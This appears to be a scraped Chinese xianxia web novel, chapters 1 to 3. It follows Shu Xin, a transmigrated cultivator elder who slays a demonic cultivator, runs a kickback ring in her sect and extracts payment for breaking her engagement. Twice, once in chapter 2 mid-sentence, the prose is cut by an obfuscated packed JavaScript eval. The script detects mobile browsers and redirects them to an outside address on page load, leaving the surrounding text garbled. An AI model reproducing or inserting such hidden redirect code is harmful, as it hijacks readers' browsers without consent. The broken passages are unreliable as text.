《你们修真界道德太高》 1. 第 1 章 “我真的将所有的灵石、法宝都交出来了,我可以与仙子您签下血契,以后我的命就是你的,任你驱使。”一个形容狼狈、身上遍布伤口血迹的男人不断磕头讨饶,再也看不出丝毫曾经的风光。 而在他的旁边,遍地都是鲜血和碎尸体,宛如人间烈狱。 “我要你的命做什么?尽给点没人要的东西。”女修听闻,清冷秀丽的脸上露出一抹嘲讽,“你在此地占山为王,为祸人间,少说也有几十年了,这些年各路修士接下杀你的悬赏,都是去而不返,光是这些人的东西就够你用几辈子。加之你修为低,至今未叩问道关,那些高级修行资源对你来说,只能是看得见用不着,老实点,能用钱买命,已经是我法外开恩了。” 男人还想要狡辩什么,可对方的剑却猝不及防的在他的胸口旁边狠狠的转了个圈,剑气宛如千万根钢针刺入他的五脏六腑,令他无法动用灵力的同时还痛不欲生。 “再从你嘴里听不出一句实话,我就要搜魂了。”女修皱眉道,“要不是担心从你脑子里看见脏东西,我懒得和你废话。” 男子没有办法,只能挖开自己的大腿根部,从血肉之中又掏出一枚储物石来。 这储物石珍贵非常,里面装着他的大半身家。 “仙子,这储物石里还有我请人布下的阵法,若是没有正确的口诀和手势,里面的阵法不但会毁掉所有东西,还能引爆符箓让拿走我储物石的人不得好死。”男子脸上挂着谄媚的笑,挣扎着起身,见女修没有反对,凑到她的身边,眼睛里闪过一抹杀机。 这些名门正派的人还是太蠢,只要让他靠近动用阵法,就形势逆转了。 当年那个所谓的大派弟子明明修为还高过他一线,又有师门法宝护身,还不是被他在最后时候杀人夺宝,将他的元神都拿来炼制魂幡,那哀嚎声他至今记忆犹新! “仙子请看,我这储物石里……”男子的腰间处已经撕开一道口子,里面一道长虫般的妖兽正张开大口,意图朝着眼前的女子攻击而去。 他这妖兽是他压箱底的本事,如此近的距离,哪怕是叩问道关的凝丹修士也非死即伤。他能成为此地魔窟主人,靠的就是这条妖兽。 “等等。”女修突然喊了一句。 男子魔修脸色狰狞,现在发现不对已经晚了,他…… 他的思维还未完成,比被斩断的长虫先落地的,是男人的头颅。 男子发现这女修陡然变高了起来。 不,是他的头颅落地了。 一把飞剑正卡在他无头的脖子上。 “等等,是我的剑的名字。你的妖兽再快,还能有我的剑快?”女子摸了摸自己腰间的乌木剑鞘,宝剑早已斩落了敌人。 “你卑鄙!”男子只剩下头颅这最后的灵气,濒临死亡。 “能被魔修夸我卑鄙,看来我干的还不错。”女修指间闪过一抹灵光,朝着男子的头颅绞杀而去。 啰嗦的男人果然最难杀,头都没了,嘴还是硬的。 男子魔修下意识的看向了女子腰间的剑鞘。 乌木剑鞘上镌刻着一颗兰草。 那是…… 舒新! 道婴境的修士。 我何德何能,需要这么个人来杀我? 男子瞪大双眼,死不瞑目,眼中的一点生机彻底消失殆尽。 【这魔修的血肉魔气还凑合,比一般的凝丹境魔修还多点,这把不亏。】 女修,不,舒新手中的长剑难以维持原样,变成了断裂的两截,剑身上血迹斑斑,比废铁还不如。 曾经的天下名剑,如今却只能依靠小小的幻术才能维持完整的形态。 而两截剑身,上面分别刻着“等等”和“且慢”四个大字。 女子口中的“等等”,分明就是这二分之一断剑的名字。 【舒新,他尚未凝丹,你修为当他祖宗都够了,居然还用得着偷袭?怪不得他骂你卑鄙。】 宝剑蒙尘。 它的新主人显然不是一个正常人。 当初她炼化自己,还振振有词,“你太显眼了会导致我被盯上,把你一分为二,别人就猜不出你是谁了。” 于是,曾经的顶级仙剑品级大跌,成为一把苟延残喘,看起来卖不出几块灵石的普通灵剑。 而眼前这个魔修的血肉,也只能为它洗去剑身上一点肉眼看不见的血污而已。 “我是名门正派又不是傻子。”舒新笑眯眯的将“等等”和“且慢”合在一起,插回自己的剑鞘里,“再说了,我从来只打这种越级挑战的架。” 可不是,堂堂道婴境界的修士,越级偷袭一个没凝丹的魔头? 脸都丢尽了。 舒新不觉得这有什么问题。 前世的时候,那群大学生还不是跑到小学生的算数app上去虐菜? 谁没事非要想不开去打根本打不过的架啊? 要打架,那就是奔着赢去的。 【你都没点高级修士的骄傲和尊严么?】 舒新耸耸肩膀,“活得久了,辈分高了,骄傲和尊严自然而然的就有了。” 【别人恨不得越级挑战成就自己的威名,而你动手杀人从来都是往降低一两个修为档次的敌人找,这对你修行毫无益处!】 “可是对我道心很有益处。”舒新得意叉腰,“我百年来未尝一败,道心通明!” ……天天虐菜,你能败才有鬼? 断剑剑灵感叹的声音直接传到了舒新的脑子里,【要是我以前的主人也有你这样的心肠,我哪里会成为人人喊打的魔剑?】 舒新充耳不闻。 一把唧唧歪歪只会吹嘘自己光辉过去的断剑,和一个酒桌上只会吹牛美化自己的老登有什么区别? 要不是这断剑有无上功法传承,她早八百年就想方设法把这剑卖了,哪里还会辛苦打工赚资源? 唉!生不逢时。 舒新只是利落的用这死去魔修的鲜血解开储物石的禁制,看了一眼周围,又放了把火将这绵延近百年的魔窟烧的一干二净,这才起身离开。 【我剑身的血,全部来自我曾经斩杀过的仙人,只有天下至污的魔修血肉才能洗清。这已经是你这十年来捣毁的第二十一座魔窟了,那么多人感激你,你都不打算去体会一把你奋力搏杀带来的荣光么?】剑灵再一次询问。 “人怕出名猪怕壮,别人的感激只会让我束手束脚。”舒新打了个哈欠,“你要是再哔哔,我就把你的剑身捅进凡人的茅坑里你信不信?” 剑灵瞬间老实了。 它知道,舒新这个恐怖的女人是真的做得出来。 她的心思比那最可怕的魔修还要深,她的手段比它几百年见过的还要狠毒。 她要是转修魔道,哪里还有现在那些个魔尊什么事啊? 可她偏偏要苟在长生道宗当她的长老。 该不会,她对她那个未婚夫,是真心的吧? 不,不应该。 这比它欢天喜地的进茅坑还不可能。 长生道宗。 “舒长老。” “舒长老,这是青山宗弟子送来的灵石,道婴大会上,她想要坐在隔壁逍遥剑宗的‘七剑’旁边。” “灵石少了,给她安排到能看见个‘七剑’背影的地方去。”舒新神识一扫,就知道这里面没多少灵石。 “舒长老,这是那个‘灵果商会’送来的礼物,他们希望承包这一次大会上所有的灵果用度,至于价格,可以比市场价少一成,他们再多给一成是孝敬您的。” “嗯,口说无凭,让他们立个字据。” 舒新正在自己的洞府里,接见自己培养出来的几个执事。 这几个外门执事都修为平平,可管理庶务是一把好手。 一个人吃回扣能吃多少?团队作案才是大头! 而且,这些执事的身家性命乃至背后家族都被自己拿捏得死死的,哪怕真的哪天被宗门发现,他们也会奋不顾身上来替自己背锅,保护其他人,图谋以后。 毕竟是修真门派,吃回扣而已不至于让他们被门规处死,撑死就是关几百年禁闭,只要舒新在这几百年大成,还怕他们出不来吗? 舒新给他们画的饼,那叫一个又大又香,还得他们努力够才能够得着! 一个愿意分三成利润给手下的长老,无异于菩萨转世。多少门派长老打着收徒收仆人的名义,将手下人搜刮的连骨头渣子都要炸出油来才肯罢休,偏偏人家还占据师徒名分,根本无法反抗。 舒新自从接任这长生道宗的外门长老以来,就对如何薅宗门羊毛,如何吃回扣,如何逃脱门规追责打擦边球等等了解的一清二楚。 没办法,这年头,道婴修士所需要的灵石,简直是天文数字! 你有试过明明活在世界上却感觉自己像是被打入地狱永不超生的恶鬼一样的生活么? 或者换一个问法。 你有试过连续十年无休、每天休息时间不超过一个小时,无休止的工作,而且工资只有别人的一顿饭钱么? 舒新正在经历这些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658120|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她每一次用打坐代替睡眠醒来之后,都在问自己,她还好好的活在这里到底是为了什么? 难不成她穿越一回,修仙得长生,就是为了进化掉吃饭、睡觉、玩手机的时间用来工作的么? 逍遥自在,无拘无束,那叫得道长生。 每天苦修,嗑丹打工,那叫永不超生! 现代的打工人叫牛马,修真界的打工人才叫一个核动力驴。 不用吃饭,一颗辟谷丹下去一个月不会饿。 不用睡觉,打坐一小时就能顶十天休息。 也不用住房,山上挖个洞,放一个蒲团就能修炼。 修士从步入修行开始,或先天,或后天,都要跨过吸收灵气这一关,只有吸纳灵气,才能算是修士。 其后先天功满,褪去凡胎,铸就道基,为筑道境,寿元延长至三百。 筑道之后叩道问天,凝结道丹,寿元延长至五百,为凝丹境。 凝丹过后,要在元神打开洞天,方可成就道婴。 只到道婴修炼到极致,入住元神洞天,掌握元神命脉,才可成为洞天真人。 洞天之后,更有无垢、大乘、陆地神仙之境。 而长生道宗之所以能位列九宗十派之一,就因为长生宗还存在着一位陆地神仙! 这位仙人为长生宗创派祖师,至今已经活了万载有余。 但如今留存于世的陆地神仙,从不行走于世间。 概因五千年前一场修真界浩劫,死伤无数,灵气大减,如今这个天下再也造不出一位陆地神仙。甚至,无垢境界的修士,都已经是顶尖名门正派里数得上的大修了。 在一些二流门派里,道婴或者洞天境界的修士都可以当掌门了。 因此,舒新这种自学成才,天赋异禀,年纪轻轻就成为道婴境界的修士,可以说是百年难得一见。 在这长生道宗,更是将“人尽其用”四个字发挥到了极致。 尤其是对她这种野路子出身的修士,宗门既贪图她的本事,又不想给足够的灵石,还害怕她会超越宗门内部的修士修为。 于是,长生道宗“招安”了她。 她也成为这百年里,长生道宗唯一一个野修出身的长老! 当初摆在舒新面前的,就两条路。 要么接受招安,连带着她救下的那个小未婚夫都要拜入宗门。 要么就被长生道宗派来的修士杀死,顺便将她掩藏起来的“断剑剑灵”夺走。 为了掩护自己的“金手指”,舒新也只能一脸感激涕零的样子加入长生道宗。 虽然她现在没有本事叛离长生道宗,但挖一挖宗门墙角,想方设法给自己攒修行资源还是可以的嘛。 “还是老规矩,收上来的灵石,我这里拿七成,剩下三成你们按照功劳自行分配即可。”舒新摆摆手,“若是无事,可以下去了。” 几个执事互相对视了几眼,还是一个年轻点的女执事上前两步,咬牙切齿道,“长老,您出去的这段日子,宗门里可出了大事了。” “哦?”舒新来了兴趣,“说说看。” 女执事连忙说道,“是长生道宗的‘锦衣林家’,林家的那个林悠薇听说已经求了她家老祖同意,拿到了顶级的双修功法,想要在司徒道君的道婴大会上解除他和您的婚约,取而代之。” “是啊,长老,您为了司徒道君的道婴大会忙前忙后,可不能被人家摘了桃子。” “当初司徒道君不过一介练气修士,若不是您不嫌弃他,带着他拜入宗门,又私下贴补他灵石,他如何能在这百年内打开元神洞天,成就道婴?” 几个执事已经出离愤怒了起来。 这司徒间和舒新的故事堪称宗门百年内第一传奇。 百年前,舒新已经是凝丹修士,距离道婴只有一步之遥,而司徒间不过没落世家出身,听说还是借着祖上给过舒新几分恩情才缠上来,自荐枕席成为舒新的未婚夫,舒新眼光独到,带着他一起拜入长生道宗。 如今,一个是外门长老,一个是内门弟子,双双到了道婴之境,可以正式结为道侣了。 结果,冒出人来抢了! 这瘦田无人耕,耕完有人争。 你“锦衣林家”的确是长生道宗数一数二的世家派系不假,也不能在这个时候摘桃子吧。 早一百年干嘛去了? “吓死我了,我还以为是我们吃回扣的事情让宗门发现了。”舒新深呼吸了一口气,脸上带着轻松惬意。 只要不断她财路,一切都好说。 2. 第 2 章 断人财路,如杀人父母。 舒新穿越到这个世界没有父母,所以断她财路就是最大的事! 别的什么,舒新倒不是很担心,唯独傍着长生道宗长长久久吃回扣这种事情,是舒新最为在意的。 她现在名义上是外门长老,管理大小俗事。宗门名下的那些丹药铺、法器铺之类的赚钱生意,都由宗门核心派系的人牢牢把持,她想要伸手都伸不进去。 舒新也不是没有想过自己在外面开铺子,只要想办法将她剿灭魔窟得来的那些资源改头换面一番就能卖出去。谁知道,就是因为这么一个小小的想法,就害的舒新失去了这百年自由。 现代社会,人类的寿命不过百年,就已经养出了那么多阶级垄断的“世家”。 在修真界里动不动就有能活上千年万年的怪物,这些门派、世家所构建的阶级,才是无法逾越的! 修真界的这些名门正派,要养着这么多的弟子、长老,除了让那些资质不行的弟子们卖身还债、努力经营之外,最赚钱的门路就是“搞垄断。” 丹药、法器、功法,只要是修真者所需要的东西,几乎都被仙魔两道的大门派所把持。 他们联手将这些东西的价格都控制在一个统一的幅度,又联通上下产业链,将成本压得极低,使得散修的生意注定无法起来。 如果说资本家是要被挂在路灯上吊死的话,修真界里的这些门派,每一个都要被挂在悬崖上风干。 舒新当年不过是卖点自己用不上的丹药法器,以“货物品质稳定”、“诚信经营”为卖点,没赚几个钱就引来了长生道宗的注视,这才不得不被“招安”。 形势比人强。 什么修真逍遥,那也只有刚刚踏入修行的新人才会抱有这种想法。 修行有成之后,活个几百上千年,大权在握、美人在怀,享受这修真界的一切美好,然后开枝散叶,让自己的血脉和家族长长久久的成为人上人,才是修真界里九成以上的修真者的追求。 因此,舒新只是吃吃回扣、搞搞以次充好的事情,已经是稳定的无本买卖了。 至于司徒间这个未婚夫,虽然也重要,但是和自己的财路比起来,又没有那么重要了。 修行者讲究一个道财侣地,这道侣还排在钱财之后,就可见一斑。 “舒长老,您辛辛苦苦培养司徒道君这么多年,好不容易他成了道婴境,怎么能变成林家的人?这种亏本买卖可不能做啊。” “是啊,舒长老。要是司徒道君真的被林家拉拢过去,我们的事业恐怕也会大受影响。” “长老,我们背后有两个道婴境修士和只有一个道婴境修士,这带来的威慑力可不一样。” 他们把持着宗门的这些宴会回扣、私下贩卖宴会座位等等的事情,在外界也不是一点风都不露。只是能够和他们抢这个生意的看不上这些“辛苦钱”,想要和他们抢的,背景又没有他们硬。 就算舒新在长生道宗不受重视,那也是实打实的道君,一般人可惹不起。 舒新的脸色严肃了起来,“不错,林家想要这么轻松的将司徒间带走可不行。” 人抢走也就算了,还要妨碍她的事业可大大不行。 “行了,我心里有数,你们先下去吧。” “是。”几个手下见舒新已经意动,心里也算是松了口气。 修真道侣,彼此之间感情深厚的本就不多,更多的还是彼此资质、修为、地位合适才凑在一起的,只要不是那种最高等级的道侣誓言,彼此分分合合也是常有的事情。但对于他们这些当手下的人来说,能有两个后台,还是比只有一个来得强。 手下们都走的没影子了,剑灵才慢悠悠的飞出剑鞘。 【他们很清楚的认识到了司徒间的重要性。以你的个性,能容忍别人扒你碗里的饭?】 “看样子,还是激励不够啊。以后不能老老实实的三七分成了,要改成一分基础工资和两到三分的提成收入,做不好扣绩效,才能激励他们不断努力。”舒新的关注点完全不在司徒间这个便宜未婚夫上,她很清楚的察觉到自己带出来的这个团队有点军心不稳了。 哎,没办法,毕竟他们没有接受过专业的职场教育,职场素养不够也是正常的。 【……你的关注点是不是偏了?】剑灵沉默了一会儿说道,【我有点同情你的未婚夫了。】 “古往今来,成大事者哪里有儿女情长的?”舒新大手一挥,毫不在意的说道。 【你是成大事的人?】 “那你又怎么知道,司徒间不是成大事的人呢?”舒新微微挑眉,“剑灵,你还是不了解人类。人类向来卑劣、无耻且双标,也没有任何道德观念可言,区区儿女情长,不过是比路上踩过的一颗小石子还要微小的事情,甚至别人还会觉得这颗小石子除了硌脚,没有任何用处。” 【你想说什么?】 “我刚才和你说的那些人类的劣根性,我恰好全都有。他是真英雄不假,可我也是真小人。”舒新两手一摊,“我们从一开始,就不是合适的人。” 一个家破人亡的少年,跨越千山万水来找到只有过一面之缘的她,又以野修的身份成为长生道宗的核心弟子,这可不是一般人做得到的。 剑灵再度沉默。 它都有点同情司徒间了。 “不过你说的话,我不能容忍别人乱扒我碗里的饭。司徒间,可是我这百年里做过的最好的投资。” 现在既然投资产品要跑了,不收点利息怎么去挽回损失呢? 剑灵在空中左右摇晃了一下,对舒新的话没有发表什么过多的意见。 它就知道,这个女人是没有多余感情的。 心动不如行动。舒新深知拖延症害死人的道理,因此在手下们离开之后,立刻就朝着司徒间所在的山峰飞去。 而宗门里的其他弟子或者门人,看见舒新一回宗门就急急忙忙的朝着司徒间的方向飞行,眼睛里都闪烁着八卦的光。 “果然,舒长老做完任务回来听见消息,就立刻去找司徒道君了。” “林家这事,做的不太地道,人家舒长老虽然不是我们宗门土生土长的,好歹也为我们宗门奉献了百年,要解除婚约私下里商谈一下给足赔偿就好了,特意挑司徒间的结婴大会解除,摆明了就是欺负人。” “不就赌一把么?司徒道君到底是不忘糟糠之妻还是会解除婚约?” “我赌司徒道君不会解除婚约,他为人向来光明正大,也一直帮助同门,绝对不是那等过河拆桥的小人!” “我赌会解除婚约。未婚夫妻而已,又不是货真价实的道侣。道婴境的真君又怎么样?没有足够的资源,想要再进一步千难万难。你看舒长老在道婴境界几十年了,修为有过一丝一毫的增长么?” “哎,舒长老可惜了啊,她如此年轻,如果不是野修出身,恐怕又是我们宗门未来的中兴人物。” “英雄不问出处,这的确是有点……” “嘘,你们忘记千年前的事情了?当时宗门差点就被那些招揽来的野修给篡夺了,宗门防范这些野修也正常!” 也有些人,目光微动,悄悄的走到一旁去传讯了。 不多时,舒新就感觉到空气中传来一阵阵法波动。 唔,她闻到了腐败的罪恶的资本主义家的味道。 果不其然,下一刻,一个穿着素白法袍,头上仅用一根素簪装饰,宛如神女下凡的女修就这样翩然飞到了她的面前。 唯一值得人瞩目的,就只有她腰间那一块闪烁着流光溢彩的精美玉佩了。 锦衣林家,林悠薇。 有趣的是,当初的林家先祖喜好锦衣华府,所以才闯出偌大声名。但是后代之中,却多是崇尚简朴的子孙,除了代表林家人的玉佩之外,其他时候都是素面朝天,起码明面上如此。 而林悠薇,就更是其中佼佼者,素有“清水出芙蓉”的“芙蓉仙子”的美誉。 第一次听见这个外号的时候,舒新差点没有拍断自己的大腿。 好家伙,这也太会取名了。 不过还别说,这芙蓉仙子长得是真美,眼神清澈,水灵灵的。 不像自己,一股子班味。 “舒师姐好不容易做完任务回宗,着实辛苦。小妹已经设下宴席,请师姐赏光。”林悠薇脸上依旧是一片温和之色,“司徒师弟才破境不久,如今正在巩固神魂,怕是无法好好招待你。” 哎哟?这么着急就来宣誓主权了? 远处的宗门弟子们,一个个悄悄的竖起耳朵,恨不得听得再仔细些。 这可是个劲爆八卦。 舒新长老虽然出身卑微,但是一身道婴修为是实打实的。林师妹虽然堪比道婴修士,但毕竟还没有踏出最后一步,但林家人的玉佩向来是最顶尖的防御法宝,打起来还真的不好说。 “咦?怎么突然听不见了?”弟子们有些心急。 “……因为舒长老张开了法术屏障啊,人家好歹是道君。”另一个年纪稍长的弟子叹气道,“走吧走吧,别看了,这不是我们能插手的事情。” 舒新可是他们这些出身普通的弟子难以仰望的传奇人物。 可即使如此,在修真世家这些庞然大物面前,也只能将道侣拱手让人。 他们又能如何呢? “林师妹,百年前我才加入宗门,你就已经叩问道关,如今怎么还没有踏出这最后一步?”舒新上来就直接捅人家心窝子,“双修之法虽然能助你一时,却难以帮你一世。” 若是平时遇见了,舒新少不得要虚与委蛇一点,不过现在嘛,大家都知道她们两个目前什么情况,就没必要装了。 不露出一口狠牙,人人当她是软柿子了。 “我自然不比师姐你天资过人,多年来也是一直巩固修为,基础雄厚。”林悠薇眼神稍冷。 “那我也不装了。”舒新懒洋洋的伸了个腰,“我知道,你本来是林家天之骄女,可惜不入道婴,终究只是蝼蚁,如今又有无数族弟族妹后来居上,你自然心急如焚,想要找一个道婴修士与你双修助你突破修为,不但要求对方愿意反哺于你,而且他本人也不能元阳有失,而且你也不愿意屈就那些资质比你还差没有未来的道婴修士,选来选去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658121|188311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也只有司徒间一个人符合你的要求。” 修真大门派垄断修真资源,而门派里的各种世家派系又互相倾轧,几乎每隔一段时间都有新的家族诞生,又有旧家族倒下。因此,这些修真家族里的龙争虎斗,随便拎一个出来都是修真版的权谋斗争文。能够从这种家族里出来的,就别指望他们还有什么真心了,他们在看见你的第一眼,就已经为你估算了价值。接近你、和你交好、甚至舍身救你,都只是为了在最关键的时候将你卖出一个最高的价钱。 “只是,林师妹,做人不能太贪心。在司徒间没有展现出能够突破道婴的实力前你一点表示都没有,平时不烧香,临时抱佛脚。如今来摘桃子,是不是有点太过分了?”舒新嗤笑道。 若是司徒间和舒新两人还没有在长生道宗里站稳脚跟的时候,林悠薇就伸出援手资助他们,只是为修行卖身而已,又有什么了不起?别说司徒间愿意,舒新都要举双手双脚赞成。要是司徒间真的和林悠薇在一起了,她都能主动站出来承担一切风言风语,他俩要生孩子她都可以帮忙照顾月子! 但可惜,林悠薇没有这个长远眼光。 又或者说,这些出身高贵的世家中人,从来不会将目光放在野修出身的人身上。 “你想要什么?”林悠薇的目光渐渐冷了下来。 “这一百年来我资助司徒间修行所需的花费,我都有记账,你需要按照这些市场价的双倍给我。”舒新笑眯眯的伸出一根手指。 “可以。”林悠薇点头答应。 “其次,我和司徒间解除婚约关系期间,我遭受宗门中人的嘲笑、冷落等等,我都需要你付给我一笔精神损失费。”舒新伸出第二根手指。 你什么时候在乎这些虚名了? 林悠薇不是那些不知事一心修行的人,舒新私下干什么事,她可清清楚楚。 要是脸皮薄,舒新怎么可能一直捞油水? “好。”林悠薇只能答应下来。 “另外,我要你给我一笔公关费。”舒新摸摸下巴,“你和我这种泥腿子不一样,还是要脸的。你给我一笔公关费,我就让别人不骂你横刀夺爱。” “你这也能拿出来卖?”林悠薇大为不解,并发出内心质问,“舒新,你真的不在乎自己的名声么?” 笑死,还猫哭耗子假慈悲上了。 我这都是谁造成的啊? 舒新心里默默翻个白眼,报了个数出来,“我允许你用丹药或者法器相抵扣。” 林悠薇只当这是舒新故意敲诈自己的借口,只好答应下来。 “还有,司徒间和我没关系了之后,我的某些生意势必要受损,这中间的利润差,你需要赔偿给我。” “舒新,你别太过分。”林悠薇脸色已经青了。 “这个我允许你分期付款。我知道你身家有限,但是修士都活得长,只要你给我签个契书,你意思意思给点利息就行。”舒新笑眯眯道,有了天降横财,总也得有个细水流长的营生才好,“再说,你要是能够和司徒间成为道侣,待你成了道婴境修士,你们家族给你的资源也绝对不会少,你又何必在乎我这三瓜两枣?” “好!”林悠薇已经咬牙切齿的答应下来。 “最后……” “你还有要求?舒新,这句话我也还给你,做人不要太贪心了。” “你误会了。”舒新微笑道,“我最后想要的不是钱,而是一个保证。” “什么?” “我拿了你们这么多赔偿,宗门上下眼红我的人绝对不会少。我要你保住我的安全,起码五十年之内,不能有人对付我。”舒新回答道。 “我做不到。”林悠薇直接干脆的说道,“我若是能护得住你当然也能护得住我自己。我要是有这本事,我哪里还需要一个司徒间助我破境?” “行,那改成一个人情,等我需要的时候,你再帮我。”舒新如此说道。 “只能是我力能范围之内的。” “当然。”舒新笑着回答,“师妹果然是爽快人。放心吧,只要你给的够多,一切的风波,我来平息,放心吧,我受得住,保证不让你的名声有一丝一毫的损伤,让你知道什么叫做物超所值。” 林悠薇面露嘲讽。 她既然来抢人,就做好了被骂的准备。 可是只要她修为有成,时间一久,别人只会赞颂她行事果断而已。 外界修士那么多人抢功法、抢丹药、抢灵石的比比皆是,她又为什么不能抢人? 舒新又能有什么办法,让她的名声不受损? 正当林悠薇思绪尚未飘远之际,只看见舒新撤下自己的法术屏障,让自己的声音传遍四周潜伏听八卦的弟子耳中。 “林师妹,我也不瞒你,我在结丹之前是个男人,修炼了特殊的功法,重新修成女子的。”舒新假模假样的擦擦不存在的眼泪,紧跟时事,说着只有自己知道的梗,“其实我还是认为自己内心是个男人,师妹,这些年,你难道没有注意过我的心意么?” 林悠薇如遭雷击。 旁边听八卦的宗门弟子们呆木如鸡,似乎思维都卡顿了。 3. 第 3 章 沉默在蔓延。 如死亡一般的寂静笼罩了全场。 在修真界,你喜欢同性没有什么问题,甚至你喜欢非人种族,也不是没有。但真的能够狠下心来,重新给自己换一个性别的修士还是少之又少。 原因很简单,要求太高。 对自身性别有执念的修士,很难突破心境难题成功叩问道心成功,自然没有办法改换性别。而有能力改换性别的,往往对自身千锤百炼,除非生死危机,不然谁会放着自己原本的躯体选择去改造? 这要是一个改造不好,以后修炼都会成为问题。最多也就是一些原本长相平平无奇的修士,借机给自己顺手整个容,修饰一下自己的外表最多了。能将全身上下都给换一遍的,那可真是百年难得一见。 但这种人虽然少,但也不是没有。而且这种改换性别的修士,大多数都是因为犯了事不得不隐姓埋名才选择改头换面,能够将此事宣之于口的人几乎没有。 故而当舒新说出这种话之后,修士们都懵了。 虽然知道成就道婴境界的修士的确能重新给自己换躯体,可……可这种人怎么会出现在自己身边呢? 【……我承认,我真的不了解你们人族。】 剑灵原本是打算看好戏的,万万没想到舒新还能搞这么一出? 它还能分不清自己认主的到底是男是女? “当然,我得给修真界一点震撼。”舒新得意洋洋的对着剑灵说道。 随即,舒新脸上浮现出黯淡的神色,看起来委屈十足,“林师妹,你为什么不说话?是嫌弃我,看不起我么?” “不,不不不。”林悠薇下意识的否定,“这是你的自由。我辈修士,当然要遵从内心,方可明白真我。”话是这么说,但林悠薇心里也开始打鼓,这舒新说的话到底是真是假? 如果是假的,那舒新为了能够退婚做到这个地步真是恐怖如斯,绝对不能与之为敌。 她连自己的名声和性别都不要了,这个世界上还有什么东西值得她顾忌? 如果她说的是真的,倒是能够解释为什么她对司徒间没有半点眷恋,可这么一来,这个人不是就变得更加可怕了么? “果然,还是林师妹你明白我。”舒新上前一步。 林悠薇后退一步。 舒新又上前两步。 林悠薇噔噔噔的后退了十来步。 “师妹,你果然还是……”舒新低下头,声音都有些哽咽。 “我想起来,我家老祖还有事嘱咐我。”林悠薇脸上浮现着一抹尴尬又不失礼貌的笑容,“舒长老尽管放心,答应你的,我一定一分不少。我们,改日再说,不急,不急。” 说罢,林悠薇像是屁股着火,毫无半点“芙蓉仙子”的气度,火急火燎的就走了。 舒新又将视线看向旁边的宗门弟子们。 弟子们当即一哄而散。 他们的心情又是激动又是尴尬,恨不得立刻就将这个惊天八卦说出去。 太震撼了! 接下来二十年的谈资都有了。 “这下清静了。”舒新伸了个懒腰,“继续去找司徒间去,将他卖了个好价钱,总要和人家说一声。他要是想要分成,也不是不能讲讲价。” 【我觉得他不砍死你都是真爱了。】剑灵真心实意的说道。 “不要小瞧人族。”舒新笑了笑,“尤其是这种背负很多秘密的人,他们的眼睛里,只会看见自己想看见的那一件事而已。” 司徒间,是其中佼佼者。 她也是。 舒新很快来到了一处洞天之内。 修士的洞府是否豪华,不在乎它占地面积有多广,不在乎它的建筑有多么豪华,而是在于这个洞府的灵气是不是充足? 尤其是在三千年的大战之后,修真界里灵气稀薄还混杂着其他气息,正经的灵脉几乎都被摧毁,只有少数一些细小的灵脉还被各大门派圈住。 而外面的散修,就只能依靠流通日益稀少的灵石修炼,或者花费更多的时间去排除空气里的杂质吸收提纯过后的灵气,但这样几乎得不偿失。 因此修士若是赚不到灵石,修为甚至还会退步。从而诞生了诸多恩怨情仇,就是后话了。 而司徒间能被长生道宗看重的最明显的标志,就在于他所住的洞天处于长生道宗灵脉的末端。虽然只是末端,却也是灵气逼人,修士在这里面修行不用再费劲去提纯灵气,更加不用担心消耗的巨额灵石。 当然,司徒间在短短百年内进阶道婴,甚至还包括了他废掉之前修行的功夫重新修行的时间,可以说是天纵奇才。 毕竟不是人人都和舒新一样,能够有一柄号称斩过仙人的剑灵做外挂指导修行。 舒新刚刚踏入洞天的门口,洞口的防御阵法已经自动打开,任由舒新走了进去。 作为司徒间的未婚妻,她当然也可以自由出入司徒间的洞府。 可惜她身上的剑灵随身跟着,不然她要真厚着脸皮来蹭洞府,修为早就日益增长,哪里还用得着她苦心孤诣的去赚灵石?可惜这断剑身上有太多仙人的血,在没有清洗完剑身之前,是不能随意动作的,尤其是这种连接着宗门灵脉的洞府。 小心驶得万年船。 为此,舒新不止一次的想要将断剑给卖了。 “大兄弟,你又在修行?太卷了吧。赶紧出来,我和你说个好消息。”舒新大大咧咧的走进去,张口说道。 很好,看来舒新是真的没有半点愧疚,剑灵如此想道。 人家未婚夫的洞天防御阵法都对你自动开放了,她居然一点都不在意? 可惜这年头的灵气稀薄,不适合修无情道了。 不然舒新是个多好的苗子啊。 剑灵忍不住感叹道。 “我听见了。” 话音未落,洞天里已经迎面走来一个长身玉立,气质卓然的修士。 他看起来约莫二十出头,五官秀丽,看起来颇为精致,但他眉宇间的清冷和沉稳,让他的气质又变得缥缈了起来,宛如仙人遗世独立。 林悠薇看上司徒间,除去他的资质和前途外,好皮相也是不可或缺的。 司徒间朝着舒新走了两步,主动停了下来,“从今天开始,人人都知道我的未婚妻曾经是个男人了。” “要不我怎么管你叫大兄弟呢。”舒新毫不在意的说道。 司徒间深深的看了舒新一眼,“你就是你。” 男女之别,在舒新这个人面前,都显得无足轻重。 当年,是她带着只有一面之缘的自己四处奔波流浪,也是她察觉到形势不对之后果断带着他拜入长生道宗,也是她成功打入了这个封闭腐朽的宗门内部,成功的将这里变成他们的落脚之处。 舒新的聪颖,从来都是藏在暗处。 用她的话说,这叫“苟着发育。” “还是你会说话。”舒新在洞天里找到自己专属的椅子坐了下来,“林家盯上你不是一天两天了。或者说,那些修行世家,都急需新鲜血液注入,不然如何能维持自己的荣光?” 风水再好的祖坟,也不能次次都冒青烟。 想要在长生道宗扎根,这个修行世家必须保证代代出人才。 